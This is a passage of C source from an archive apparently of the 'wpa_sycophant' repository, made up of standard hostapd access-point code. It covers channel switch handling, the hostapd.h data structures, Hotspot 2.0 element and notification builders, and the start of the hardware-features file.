hostapd_build_beacon_data(hapd, &settings->beacon_after); /* change back the configuration */ hostapd_change_config_freq(iface->bss[0], iface->conf, &old_freq, NULL); if (ret) return ret; /* set channel switch parameters for csa ie */ hapd->cs_freq_params = settings->freq_params; hapd->cs_count = settings->cs_count; hapd->cs_block_tx = settings->block_tx; ret = hostapd_build_beacon_data(hapd, &settings->beacon_csa); if (ret) { free_beacon_data(&settings->beacon_after); return ret; } settings->counter_offset_beacon[0] = hapd->cs_c_off_beacon; settings->counter_offset_presp[0] = hapd->cs_c_off_proberesp; settings->counter_offset_beacon[1] = hapd->cs_c_off_ecsa_beacon; settings->counter_offset_presp[1] = hapd->cs_c_off_ecsa_proberesp; return 0; } void hostapd_cleanup_cs_params(struct hostapd_data *hapd) { os_memset(&hapd->cs_freq_params, 0, sizeof(hapd->cs_freq_params)); hapd->cs_count = 0; hapd->cs_block_tx = 0; hapd->cs_c_off_beacon = 0; hapd->cs_c_off_proberesp = 0; hapd->csa_in_progress = 0; hapd->cs_c_off_ecsa_beacon = 0; hapd->cs_c_off_ecsa_proberesp = 0; } void hostapd_chan_switch_vht_config(struct hostapd_data *hapd, int vht_enabled) { if (vht_enabled) hapd->iconf->ch_switch_vht_config |= CH_SWITCH_VHT_ENABLED; else hapd->iconf->ch_switch_vht_config |= CH_SWITCH_VHT_DISABLED; hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "CHAN_SWITCH VHT CONFIG 0x%x", hapd->iconf->ch_switch_vht_config); } int hostapd_switch_channel(struct hostapd_data *hapd, struct csa_settings *settings) { int ret; if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_CSA)) { wpa_printf(MSG_INFO, "CSA is not supported"); return -1; } ret = hostapd_fill_csa_settings(hapd, settings); if (ret) return ret; ret = hostapd_drv_switch_channel(hapd, settings); free_beacon_data(&settings->beacon_csa); free_beacon_data(&settings->beacon_after); if (ret) { /* if we failed, clean cs parameters */ hostapd_cleanup_cs_params(hapd); return ret; } hapd->csa_in_progress = 1; return 0; } void hostapd_switch_channel_fallback(struct hostapd_iface *iface, const struct hostapd_freq_params *freq_params) { int vht_seg0_idx = 0, vht_seg1_idx = 0, vht_bw = VHT_CHANWIDTH_USE_HT; unsigned int i; wpa_printf(MSG_DEBUG, "Restarting all CSA-related BSSes"); if (freq_params->center_freq1) vht_seg0_idx = 36 + (freq_params->center_freq1 - 5180) / 5; if (freq_params->center_freq2) vht_seg1_idx = 36 + (freq_params->center_freq2 - 5180) / 5; switch (freq_params->bandwidth) { case 0: case 20: case 40: vht_bw = VHT_CHANWIDTH_USE_HT; break; case 80: if (freq_params->center_freq2) vht_bw = VHT_CHANWIDTH_80P80MHZ; else vht_bw = VHT_CHANWIDTH_80MHZ; break; case 160: vht_bw = VHT_CHANWIDTH_160MHZ; break; default: wpa_printf(MSG_WARNING, "Unknown CSA bandwidth: %d", freq_params->bandwidth); break; } iface->freq = freq_params->freq; iface->conf->channel = freq_params->channel; iface->conf->secondary_channel = freq_params->sec_channel_offset; iface->conf->vht_oper_centr_freq_seg0_idx = vht_seg0_idx; iface->conf->vht_oper_centr_freq_seg1_idx = vht_seg1_idx; iface->conf->vht_oper_chwidth = vht_bw; iface->conf->ieee80211n = freq_params->ht_enabled; iface->conf->ieee80211ac = freq_params->vht_enabled; /* * cs_params must not be cleared earlier because the freq_params * argument may actually point to one of these. */ for (i = 0; i < iface->num_bss; i++) hostapd_cleanup_cs_params(iface->bss[i]); hostapd_disable_iface(iface); hostapd_enable_iface(iface); } #endif /* NEED_AP_MLME */ struct hostapd_data * hostapd_get_iface(struct hapd_interfaces *interfaces, const char *ifname) { size_t i, j; for (i = 0; i < interfaces->count; i++) { struct hostapd_iface *iface = interfaces->iface[i]; for (j = 0; j < iface->num_bss; j++) { struct hostapd_data *hapd = iface->bss[j]; if (os_strcmp(ifname, hapd->conf->iface) == 0) return hapd; } } return NULL; } void hostapd_periodic_iface(struct hostapd_iface *iface) { size_t i; ap_list_timer(iface); for (i = 0; i < iface->num_bss; i++) { struct hostapd_data *hapd = iface->bss[i]; if (!hapd->started) continue; #ifndef CONFIG_NO_RADIUS hostapd_acl_expire(hapd); #endif /* CONFIG_NO_RADIUS */ } } wpa_sycophant-master/src/ap/hostapd.h000066400000000000000000000421601377436615100202500ustar00rootroot00000000000000/* * hostapd / Initialization and configuration * Copyright (c) 2002-2014, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef HOSTAPD_H #define HOSTAPD_H #include "common/defs.h" #include "utils/list.h" #include "ap_config.h" #include "drivers/driver.h" struct wpa_ctrl_dst; struct radius_server_data; struct upnp_wps_device_sm; struct hostapd_data; struct sta_info; struct ieee80211_ht_capabilities; struct full_dynamic_vlan; enum wps_event; union wps_event_data; #ifdef CONFIG_MESH struct mesh_conf; #endif /* CONFIG_MESH */ struct hostapd_iface; struct hapd_interfaces { int (*reload_config)(struct hostapd_iface *iface); struct hostapd_config * (*config_read_cb)(const char *config_fname); int (*ctrl_iface_init)(struct hostapd_data *hapd); void (*ctrl_iface_deinit)(struct hostapd_data *hapd); int (*for_each_interface)(struct hapd_interfaces *interfaces, int (*cb)(struct hostapd_iface *iface, void *ctx), void *ctx); int (*driver_init)(struct hostapd_iface *iface); size_t count; int global_ctrl_sock; struct dl_list global_ctrl_dst; char *global_iface_path; char *global_iface_name; #ifndef CONFIG_NATIVE_WINDOWS gid_t ctrl_iface_group; #endif /* CONFIG_NATIVE_WINDOWS */ struct hostapd_iface **iface; size_t terminate_on_error; #ifndef CONFIG_NO_VLAN struct dynamic_iface *vlan_priv; #endif /* CONFIG_NO_VLAN */ #ifdef CONFIG_ETH_P_OUI struct dl_list eth_p_oui; /* OUI Extended EtherType handlers */ #endif /* CONFIG_ETH_P_OUI */ int eloop_initialized; #ifdef CONFIG_DPP int dpp_init_done; struct dl_list dpp_bootstrap; /* struct dpp_bootstrap_info */ struct dl_list dpp_configurator; /* struct dpp_configurator */ #endif /* CONFIG_DPP */ }; enum hostapd_chan_status { HOSTAPD_CHAN_VALID = 0, /* channel is ready */ HOSTAPD_CHAN_INVALID = 1, /* no usable channel found */ HOSTAPD_CHAN_ACS = 2, /* ACS work being performed */ }; struct hostapd_probereq_cb { int (*cb)(void *ctx, const u8 *sa, const u8 *da, const u8 *bssid, const u8 *ie, size_t ie_len, int ssi_signal); void *ctx; }; #define HOSTAPD_RATE_BASIC 0x00000001 struct hostapd_rate_data { int rate; /* rate in 100 kbps */ int flags; /* HOSTAPD_RATE_ flags */ }; struct hostapd_frame_info { unsigned int freq; u32 channel; u32 datarate; int ssi_signal; /* dBm */ }; enum wps_status { WPS_STATUS_SUCCESS = 1, WPS_STATUS_FAILURE }; enum pbc_status { WPS_PBC_STATUS_DISABLE, WPS_PBC_STATUS_ACTIVE, WPS_PBC_STATUS_TIMEOUT, WPS_PBC_STATUS_OVERLAP }; struct wps_stat { enum wps_status status; enum wps_error_indication failure_reason; enum pbc_status pbc_status; u8 peer_addr[ETH_ALEN]; }; struct hostapd_neighbor_entry { struct dl_list list; u8 bssid[ETH_ALEN]; struct wpa_ssid_value ssid; struct wpabuf *nr; struct wpabuf *lci; struct wpabuf *civic; /* LCI update time */ struct os_time lci_date; int stationary; }; /** * struct hostapd_data - hostapd per-BSS data structure */ struct hostapd_data { struct hostapd_iface *iface; struct hostapd_config *iconf; struct hostapd_bss_config *conf; int interface_added; /* virtual interface added for this BSS */ unsigned int started:1; unsigned int disabled:1; unsigned int reenable_beacon:1; u8 own_addr[ETH_ALEN]; int num_sta; /* number of entries in sta_list */ struct sta_info *sta_list; /* STA info list head */ #define STA_HASH_SIZE 256 #define STA_HASH(sta) (sta[5]) struct sta_info *sta_hash[STA_HASH_SIZE]; /* * Bitfield for indicating which AIDs are allocated. Only AID values * 1-2007 are used and as such, the bit at index 0 corresponds to AID * 1. */ #define AID_WORDS ((2008 + 31) / 32) u32 sta_aid[AID_WORDS]; const struct wpa_driver_ops *driver; void *drv_priv; void (*new_assoc_sta_cb)(struct hostapd_data *hapd, struct sta_info *sta, int reassoc); void *msg_ctx; /* ctx for wpa_msg() calls */ void *msg_ctx_parent; /* parent interface ctx for wpa_msg() calls */ struct radius_client_data *radius; u64 acct_session_id; struct radius_das_data *radius_das; struct iapp_data *iapp; struct hostapd_cached_radius_acl *acl_cache; struct hostapd_acl_query_data *acl_queries; struct wpa_authenticator *wpa_auth; struct eapol_authenticator *eapol_auth; struct rsn_preauth_interface *preauth_iface; struct os_reltime michael_mic_failure; int michael_mic_failures; int tkip_countermeasures; int ctrl_sock; struct dl_list ctrl_dst; void *ssl_ctx; void *eap_sim_db_priv; struct radius_server_data *radius_srv; struct dl_list erp_keys; /* struct eap_server_erp_key */ int parameter_set_count; /* Time Advertisement */ u8 time_update_counter; struct wpabuf *time_adv; #ifdef CONFIG_FULL_DYNAMIC_VLAN struct full_dynamic_vlan *full_dynamic_vlan; #endif /* CONFIG_FULL_DYNAMIC_VLAN */ struct l2_packet_data *l2; #ifdef CONFIG_IEEE80211R_AP struct dl_list l2_queue; struct dl_list l2_oui_queue; struct eth_p_oui_ctx *oui_pull; struct eth_p_oui_ctx *oui_resp; struct eth_p_oui_ctx *oui_push; struct eth_p_oui_ctx *oui_sreq; struct eth_p_oui_ctx *oui_sresp; #endif /* CONFIG_IEEE80211R_AP */ struct wps_context *wps; int beacon_set_done; struct wpabuf *wps_beacon_ie; struct wpabuf *wps_probe_resp_ie; #ifdef CONFIG_WPS unsigned int ap_pin_failures; unsigned int ap_pin_failures_consecutive; struct upnp_wps_device_sm *wps_upnp; unsigned int ap_pin_lockout_time; struct wps_stat wps_stats; #endif /* CONFIG_WPS */ struct hostapd_probereq_cb *probereq_cb; size_t num_probereq_cb; void (*public_action_cb)(void *ctx, const u8 *buf, size_t len, int freq); void *public_action_cb_ctx; void (*public_action_cb2)(void *ctx, const u8 *buf, size_t len, int freq); void *public_action_cb2_ctx; int (*vendor_action_cb)(void *ctx, const u8 *buf, size_t len, int freq); void *vendor_action_cb_ctx; void (*wps_reg_success_cb)(void *ctx, const u8 *mac_addr, const u8 *uuid_e); void *wps_reg_success_cb_ctx; void (*wps_event_cb)(void *ctx, enum wps_event event, union wps_event_data *data); void *wps_event_cb_ctx; void (*sta_authorized_cb)(void *ctx, const u8 *mac_addr, int authorized, const u8 *p2p_dev_addr); void *sta_authorized_cb_ctx; void (*setup_complete_cb)(void *ctx); void *setup_complete_cb_ctx; void (*new_psk_cb)(void *ctx, const u8 *mac_addr, const u8 *p2p_dev_addr, const u8 *psk, size_t psk_len); void *new_psk_cb_ctx; /* channel switch parameters */ struct hostapd_freq_params cs_freq_params; u8 cs_count; int cs_block_tx; unsigned int cs_c_off_beacon; unsigned int cs_c_off_proberesp; int csa_in_progress; unsigned int cs_c_off_ecsa_beacon; unsigned int cs_c_off_ecsa_proberesp; #ifdef CONFIG_P2P struct p2p_data *p2p; struct p2p_group *p2p_group; struct wpabuf *p2p_beacon_ie; struct wpabuf *p2p_probe_resp_ie; /* Number of non-P2P association stations */ int num_sta_no_p2p; /* Periodic NoA (used only when no non-P2P clients in the group) */ int noa_enabled; int noa_start; int noa_duration; #endif /* CONFIG_P2P */ #ifdef CONFIG_PROXYARP struct l2_packet_data *sock_dhcp; struct l2_packet_data *sock_ndisc; #endif /* CONFIG_PROXYARP */ #ifdef CONFIG_MESH int num_plinks; int max_plinks; void (*mesh_sta_free_cb)(struct hostapd_data *hapd, struct sta_info *sta); struct wpabuf *mesh_pending_auth; struct os_reltime mesh_pending_auth_time; u8 mesh_required_peer[ETH_ALEN]; #endif /* CONFIG_MESH */ #ifdef CONFIG_SQLITE struct hostapd_eap_user tmp_eap_user; #endif /* CONFIG_SQLITE */ #ifdef CONFIG_SAE /** Key used for generating SAE anti-clogging tokens */ u8 sae_token_key[8]; struct os_reltime last_sae_token_key_update; int dot11RSNASAERetransPeriod; /* msec */ #endif /* CONFIG_SAE */ #ifdef CONFIG_TESTING_OPTIONS unsigned int ext_mgmt_frame_handling:1; unsigned int ext_eapol_frame_io:1; struct l2_packet_data *l2_test; enum wpa_alg last_gtk_alg; int last_gtk_key_idx; u8 last_gtk[WPA_GTK_MAX_LEN]; size_t last_gtk_len; #ifdef CONFIG_IEEE80211W enum wpa_alg last_igtk_alg; int last_igtk_key_idx; u8 last_igtk[WPA_IGTK_MAX_LEN]; size_t last_igtk_len; #endif /* CONFIG_IEEE80211W */ #endif /* CONFIG_TESTING_OPTIONS */ #ifdef CONFIG_MBO unsigned int mbo_assoc_disallow; /** * enable_oce - Enable OCE if it is enabled by user and device also * supports OCE. */ u8 enable_oce; #endif /* CONFIG_MBO */ struct dl_list nr_db; u8 beacon_req_token; u8 lci_req_token; u8 range_req_token; unsigned int lci_req_active:1; unsigned int range_req_active:1; int dhcp_sock; /* UDP socket used with the DHCP server */ #ifdef CONFIG_DPP int dpp_init_done; struct dpp_authentication *dpp_auth; u8 dpp_allowed_roles; int dpp_qr_mutual; int dpp_auth_ok_on_ack; int dpp_in_response_listen; struct gas_query_ap *gas; struct dpp_pkex *dpp_pkex; struct dpp_bootstrap_info *dpp_pkex_bi; char *dpp_pkex_code; char *dpp_pkex_identifier; char *dpp_pkex_auth_cmd; char *dpp_configurator_params; struct os_reltime dpp_last_init; struct os_reltime dpp_init_iter_start; unsigned int dpp_init_max_tries; unsigned int dpp_init_retry_time; unsigned int dpp_resp_wait_time; unsigned int dpp_resp_max_tries; unsigned int dpp_resp_retry_time; #ifdef CONFIG_TESTING_OPTIONS char *dpp_config_obj_override; char *dpp_discovery_override; char *dpp_groups_override; unsigned int dpp_ignore_netaccesskey_mismatch:1; #endif /* CONFIG_TESTING_OPTIONS */ #endif /* CONFIG_DPP */ }; struct hostapd_sta_info { struct dl_list list; u8 addr[ETH_ALEN]; struct os_reltime last_seen; int ssi_signal; #ifdef CONFIG_TAXONOMY struct wpabuf *probe_ie_taxonomy; #endif /* CONFIG_TAXONOMY */ }; /** * struct hostapd_iface - hostapd per-interface data structure */ struct hostapd_iface { struct hapd_interfaces *interfaces; void *owner; char *config_fname; struct hostapd_config *conf; char phy[16]; /* Name of the PHY (radio) */ enum hostapd_iface_state { HAPD_IFACE_UNINITIALIZED, HAPD_IFACE_DISABLED, HAPD_IFACE_COUNTRY_UPDATE, HAPD_IFACE_ACS, HAPD_IFACE_HT_SCAN, HAPD_IFACE_DFS, HAPD_IFACE_ENABLED } state; #ifdef CONFIG_MESH struct mesh_conf *mconf; #endif /* CONFIG_MESH */ size_t num_bss; struct hostapd_data **bss; unsigned int wait_channel_update:1; unsigned int cac_started:1; #ifdef CONFIG_FST struct fst_iface *fst; const struct wpabuf *fst_ies; #endif /* CONFIG_FST */ /* * When set, indicates that the driver will handle the AP * teardown: delete global keys, station keys, and stations. */ unsigned int driver_ap_teardown:1; /* * When set, indicates that this interface is part of list of * interfaces that need to be started together (synchronously). */ unsigned int need_to_start_in_sync:1; /* Ready to start but waiting for other interfaces to become ready. */ unsigned int ready_to_start_in_sync:1; int num_ap; /* number of entries in ap_list */ struct ap_info *ap_list; /* AP info list head */ struct ap_info *ap_hash[STA_HASH_SIZE]; u64 drv_flags; /* SMPS modes supported by the driver (WPA_DRIVER_SMPS_MODE_*) */ unsigned int smps_modes; /* * A bitmap of supported protocols for probe response offload. See * struct wpa_driver_capa in driver.h */ unsigned int probe_resp_offloads; /* extended capabilities supported by the driver */ const u8 *extended_capa, *extended_capa_mask; unsigned int extended_capa_len; unsigned int drv_max_acl_mac_addrs; struct hostapd_hw_modes *hw_features; int num_hw_features; struct hostapd_hw_modes *current_mode; /* Rates that are currently used (i.e., filtered copy of * current_mode->channels */ int num_rates; struct hostapd_rate_data *current_rates; int *basic_rates; int freq; u16 hw_flags; /* Number of associated Non-ERP stations (i.e., stations using 802.11b * in 802.11g BSS) */ int num_sta_non_erp; /* Number of associated stations that do not support Short Slot Time */ int num_sta_no_short_slot_time; /* Number of associated stations that do not support Short Preamble */ int num_sta_no_short_preamble; int olbc; /* Overlapping Legacy BSS Condition */ /* Number of HT associated stations that do not support greenfield */ int num_sta_ht_no_gf; /* Number of associated non-HT stations */ int num_sta_no_ht; /* Number of HT associated stations 20 MHz */ int num_sta_ht_20mhz; /* Number of HT40 intolerant stations */ int num_sta_ht40_intolerant; /* Overlapping BSS information */ int olbc_ht; u16 ht_op_mode; /* surveying helpers */ /* number of channels surveyed */ unsigned int chans_surveyed; /* lowest observed noise floor in dBm */ s8 lowest_nf; /* channel utilization calculation */ u64 last_channel_time; u64 last_channel_time_busy; u8 channel_utilization; unsigned int chan_util_samples_sum; unsigned int chan_util_num_sample_periods; unsigned int chan_util_average; /* eCSA IE will be added only if operating class is specified */ u8 cs_oper_class; unsigned int dfs_cac_ms; struct os_reltime dfs_cac_start; /* Latched with the actual secondary channel information and will be * used while juggling between HT20 and HT40 modes. */ int secondary_ch; #ifdef CONFIG_ACS unsigned int acs_num_completed_scans; #endif /* CONFIG_ACS */ void (*scan_cb)(struct hostapd_iface *iface); int num_ht40_scan_tries; struct dl_list sta_seen; /* struct hostapd_sta_info */ unsigned int num_sta_seen; u8 dfs_domain; }; /* hostapd.c */ int hostapd_for_each_interface(struct hapd_interfaces *interfaces, int (*cb)(struct hostapd_iface *iface, void *ctx), void *ctx); int hostapd_reload_config(struct hostapd_iface *iface); struct hostapd_data * hostapd_alloc_bss_data(struct hostapd_iface *hapd_iface, struct hostapd_config *conf, struct hostapd_bss_config *bss); int hostapd_setup_interface(struct hostapd_iface *iface); int hostapd_setup_interface_complete(struct hostapd_iface *iface, int err); void hostapd_interface_deinit(struct hostapd_iface *iface); void hostapd_interface_free(struct hostapd_iface *iface); struct hostapd_iface * hostapd_alloc_iface(void); struct hostapd_iface * hostapd_init(struct hapd_interfaces *interfaces, const char *config_file); struct hostapd_iface * hostapd_interface_init_bss(struct hapd_interfaces *interfaces, const char *phy, const char *config_fname, int debug); void hostapd_new_assoc_sta(struct hostapd_data *hapd, struct sta_info *sta, int reassoc); void hostapd_interface_deinit_free(struct hostapd_iface *iface); int hostapd_enable_iface(struct hostapd_iface *hapd_iface); int hostapd_reload_iface(struct hostapd_iface *hapd_iface); int hostapd_disable_iface(struct hostapd_iface *hapd_iface); int hostapd_add_iface(struct hapd_interfaces *ifaces, char *buf); int hostapd_remove_iface(struct hapd_interfaces *ifaces, char *buf); void hostapd_channel_list_updated(struct hostapd_iface *iface, int initiator); void hostapd_set_state(struct hostapd_iface *iface, enum hostapd_iface_state s); const char * hostapd_state_text(enum hostapd_iface_state s); int hostapd_csa_in_progress(struct hostapd_iface *iface); void hostapd_chan_switch_vht_config(struct hostapd_data *hapd, int vht_enabled); int hostapd_switch_channel(struct hostapd_data *hapd, struct csa_settings *settings); void hostapd_switch_channel_fallback(struct hostapd_iface *iface, const struct hostapd_freq_params *freq_params); void hostapd_cleanup_cs_params(struct hostapd_data *hapd); void hostapd_periodic_iface(struct hostapd_iface *iface); int hostapd_owe_trans_get_info(struct hostapd_data *hapd); /* utils.c */ int hostapd_register_probereq_cb(struct hostapd_data *hapd, int (*cb)(void *ctx, const u8 *sa, const u8 *da, const u8 *bssid, const u8 *ie, size_t ie_len, int ssi_signal), void *ctx); void hostapd_prune_associations(struct hostapd_data *hapd, const u8 *addr); /* drv_callbacks.c (TODO: move to somewhere else?) */ void hostapd_notify_assoc_fils_finish(struct hostapd_data *hapd, struct sta_info *sta); int hostapd_notif_assoc(struct hostapd_data *hapd, const u8 *addr, const u8 *ie, size_t ielen, int reassoc); void hostapd_notif_disassoc(struct hostapd_data *hapd, const u8 *addr); void hostapd_event_sta_low_ack(struct hostapd_data *hapd, const u8 *addr); void hostapd_event_connect_failed_reason(struct hostapd_data *hapd, const u8 *addr, int reason_code); int hostapd_probe_req_rx(struct hostapd_data *hapd, const u8 *sa, const u8 *da, const u8 *bssid, const u8 *ie, size_t ie_len, int ssi_signal); void hostapd_event_ch_switch(struct hostapd_data *hapd, int freq, int ht, int offset, int width, int cf1, int cf2); struct survey_results; void hostapd_event_get_survey(struct hostapd_iface *iface, struct survey_results *survey_results); void hostapd_acs_channel_selected(struct hostapd_data *hapd, struct acs_selected_channels *acs_res); const struct hostapd_eap_user * hostapd_get_eap_user(struct hostapd_data *hapd, const u8 *identity, size_t identity_len, int phase2); struct hostapd_data * hostapd_get_iface(struct hapd_interfaces *interfaces, const char *ifname); void hostapd_event_sta_opmode_changed(struct hostapd_data *hapd, const u8 *addr, enum smps_mode smps_mode, enum chan_width chan_width, u8 rx_nss); #ifdef CONFIG_FST void fst_hostapd_fill_iface_obj(struct hostapd_data *hapd, struct fst_wpa_obj *iface_obj); #endif /* CONFIG_FST */ #endif /* HOSTAPD_H */ wpa_sycophant-master/src/ap/hs20.c000066400000000000000000000140301377436615100173500ustar00rootroot00000000000000/* * Hotspot 2.0 AP ANQP processing * Copyright (c) 2009, Atheros Communications, Inc. * Copyright (c) 2011-2013, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "includes.h" #include "common.h" #include "common/ieee802_11_defs.h" #include "common/wpa_ctrl.h" #include "hostapd.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "sta_info.h" #include "hs20.h" u8 * hostapd_eid_hs20_indication(struct hostapd_data *hapd, u8 *eid) { u8 conf; if (!hapd->conf->hs20) return eid; *eid++ = WLAN_EID_VENDOR_SPECIFIC; *eid++ = 7; WPA_PUT_BE24(eid, OUI_WFA); eid += 3; *eid++ = HS20_INDICATION_OUI_TYPE; conf = HS20_VERSION; /* Release Number */ conf |= HS20_ANQP_DOMAIN_ID_PRESENT; if (hapd->conf->disable_dgaf) conf |= HS20_DGAF_DISABLED; *eid++ = conf; WPA_PUT_LE16(eid, hapd->conf->anqp_domain_id); eid += 2; return eid; } u8 * hostapd_eid_osen(struct hostapd_data *hapd, u8 *eid) { u8 *len; u16 capab; if (!hapd->conf->osen) return eid; *eid++ = WLAN_EID_VENDOR_SPECIFIC; len = eid++; /* to be filled */ WPA_PUT_BE24(eid, OUI_WFA); eid += 3; *eid++ = HS20_OSEN_OUI_TYPE; /* Group Data Cipher Suite */ RSN_SELECTOR_PUT(eid, RSN_CIPHER_SUITE_NO_GROUP_ADDRESSED); eid += RSN_SELECTOR_LEN; /* Pairwise Cipher Suite Count and List */ WPA_PUT_LE16(eid, 1); eid += 2; RSN_SELECTOR_PUT(eid, RSN_CIPHER_SUITE_CCMP); eid += RSN_SELECTOR_LEN; /* AKM Suite Count and List */ WPA_PUT_LE16(eid, 1); eid += 2; RSN_SELECTOR_PUT(eid, RSN_AUTH_KEY_MGMT_OSEN); eid += RSN_SELECTOR_LEN; /* RSN Capabilities */ capab = 0; if (hapd->conf->wmm_enabled) { /* 4 PTKSA replay counters when using WMM */ capab |= (RSN_NUM_REPLAY_COUNTERS_16 << 2); } #ifdef CONFIG_IEEE80211W if (hapd->conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) { capab |= WPA_CAPABILITY_MFPC; if (hapd->conf->ieee80211w == MGMT_FRAME_PROTECTION_REQUIRED) capab |= WPA_CAPABILITY_MFPR; } #endif /* CONFIG_IEEE80211W */ WPA_PUT_LE16(eid, capab); eid += 2; *len = eid - len - 1; return eid; } int hs20_send_wnm_notification(struct hostapd_data *hapd, const u8 *addr, u8 osu_method, const char *url) { struct wpabuf *buf; size_t len = 0; int ret; /* TODO: should refuse to send notification if the STA is not associated * or if the STA did not indicate support for WNM-Notification */ if (url) { len = 1 + os_strlen(url); if (5 + len > 255) { wpa_printf(MSG_INFO, "HS 2.0: Too long URL for " "WNM-Notification: '%s'", url); return -1; } } buf = wpabuf_alloc(4 + 7 + len); if (buf == NULL) return -1; wpabuf_put_u8(buf, WLAN_ACTION_WNM); wpabuf_put_u8(buf, WNM_NOTIFICATION_REQ); wpabuf_put_u8(buf, 1); /* Dialog token */ wpabuf_put_u8(buf, 1); /* Type - 1 reserved for WFA */ /* Subscription Remediation subelement */ wpabuf_put_u8(buf, WLAN_EID_VENDOR_SPECIFIC); wpabuf_put_u8(buf, 5 + len); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_WNM_SUB_REM_NEEDED); if (url) { wpabuf_put_u8(buf, len - 1); wpabuf_put_data(buf, url, len - 1); wpabuf_put_u8(buf, osu_method); } else { /* Server URL and Server Method fields not included */ wpabuf_put_u8(buf, 0); } ret = hostapd_drv_send_action(hapd, hapd->iface->freq, 0, addr, wpabuf_head(buf), wpabuf_len(buf)); wpabuf_free(buf); return ret; } int hs20_send_wnm_notification_deauth_req(struct hostapd_data *hapd, const u8 *addr, const struct wpabuf *payload) { struct wpabuf *buf; int ret; /* TODO: should refuse to send notification if the STA is not associated * or if the STA did not indicate support for WNM-Notification */ buf = wpabuf_alloc(4 + 6 + wpabuf_len(payload)); if (buf == NULL) return -1; wpabuf_put_u8(buf, WLAN_ACTION_WNM); wpabuf_put_u8(buf, WNM_NOTIFICATION_REQ); wpabuf_put_u8(buf, 1); /* Dialog token */ wpabuf_put_u8(buf, 1); /* Type - 1 reserved for WFA */ /* Deauthentication Imminent Notice subelement */ wpabuf_put_u8(buf, WLAN_EID_VENDOR_SPECIFIC); wpabuf_put_u8(buf, 4 + wpabuf_len(payload)); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_WNM_DEAUTH_IMMINENT_NOTICE); wpabuf_put_buf(buf, payload); ret = hostapd_drv_send_action(hapd, hapd->iface->freq, 0, addr, wpabuf_head(buf), wpabuf_len(buf)); wpabuf_free(buf); return ret; } int hs20_send_wnm_notification_t_c(struct hostapd_data *hapd, const u8 *addr) { struct wpabuf *buf; int ret; const char *url = hapd->conf->t_c_server_url, *pos; size_t url_len; if (!url) return -1; pos = os_strstr(url, "@1@"); if (!pos) return -1; url_len = os_strlen(url) + ETH_ALEN * 3 - 1 - 3; buf = wpabuf_alloc(4 + 7 + url_len); if (!buf) return -1; wpabuf_put_u8(buf, WLAN_ACTION_WNM); wpabuf_put_u8(buf, WNM_NOTIFICATION_REQ); wpabuf_put_u8(buf, 1); /* Dialog token */ wpabuf_put_u8(buf, 1); /* Type - 1 reserved for WFA */ /* Terms and Conditions Acceptance subelement */ wpabuf_put_u8(buf, WLAN_EID_VENDOR_SPECIFIC); wpabuf_put_u8(buf, 4 + 1 + url_len); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_WNM_T_C_ACCEPTANCE); wpabuf_put_u8(buf, url_len); wpabuf_put_data(buf, url, pos - url); wpabuf_printf(buf, MACSTR, MAC2STR(addr)); wpabuf_put_str(buf, pos + 3); ret = hostapd_drv_send_action(hapd, hapd->iface->freq, 0, addr, wpabuf_head(buf), wpabuf_len(buf)); wpabuf_free(buf); return ret; } void hs20_t_c_filtering(struct hostapd_data *hapd, struct sta_info *sta, int enabled) { if (enabled) { wpa_printf(MSG_DEBUG, "HS 2.0: Terms and Conditions filtering required for " MACSTR, MAC2STR(sta->addr)); sta->hs20_t_c_filtering = 1; /* TODO: Enable firewall filtering for the STA */ wpa_msg(hapd->msg_ctx, MSG_INFO, HS20_T_C_FILTERING_ADD MACSTR, MAC2STR(sta->addr)); } else { wpa_printf(MSG_DEBUG, "HS 2.0: Terms and Conditions filtering not required for " MACSTR, MAC2STR(sta->addr)); sta->hs20_t_c_filtering = 0; /* TODO: Disable firewall filtering for the STA */ wpa_msg(hapd->msg_ctx, MSG_INFO, HS20_T_C_FILTERING_REMOVE MACSTR, MAC2STR(sta->addr)); } } wpa_sycophant-master/src/ap/hs20.h000066400000000000000000000014721377436615100173630ustar00rootroot00000000000000/* * Hotspot 2.0 AP ANQP processing * Copyright (c) 2011-2013, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef HS20_H #define HS20_H struct hostapd_data; u8 * hostapd_eid_hs20_indication(struct hostapd_data *hapd, u8 *eid); u8 * hostapd_eid_osen(struct hostapd_data *hapd, u8 *eid); int hs20_send_wnm_notification(struct hostapd_data *hapd, const u8 *addr, u8 osu_method, const char *url); int hs20_send_wnm_notification_deauth_req(struct hostapd_data *hapd, const u8 *addr, const struct wpabuf *payload); int hs20_send_wnm_notification_t_c(struct hostapd_data *hapd, const u8 *addr); void hs20_t_c_filtering(struct hostapd_data *hapd, struct sta_info *sta, int enabled); #endif /* HS20_H */ wpa_sycophant-master/src/ap/hw_features.c000066400000000000000000000603731377436615100211230ustar00rootroot00000000000000/* * hostapd / Hardware feature query and different modes * Copyright 2002-2003, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * Copyright (c) 2008-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "common/wpa_ctrl.h" #include "common/hw_features_common.h" #include "hostapd.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "acs.h" #include "ieee802_11.h" #include "beacon.h" #include "hw_features.h" void hostapd_free_hw_features(struct hostapd_hw_modes *hw_features, size_t num_hw_features) { size_t i; if (hw_features == NULL) return; for (i = 0; i < num_hw_features; i++) { os_free(hw_features[i].channels); os_free(hw_features[i].rates); } os_free(hw_features); } #ifndef CONFIG_NO_STDOUT_DEBUG static char * dfs_info(struct hostapd_channel_data *chan) { static char info[256]; char *state; switch (chan->flag & HOSTAPD_CHAN_DFS_MASK) { case HOSTAPD_CHAN_DFS_UNKNOWN: state = "unknown"; break; case HOSTAPD_CHAN_DFS_USABLE: state = "usable"; break; case HOSTAPD_CHAN_DFS_UNAVAILABLE: state = "unavailable"; break; case 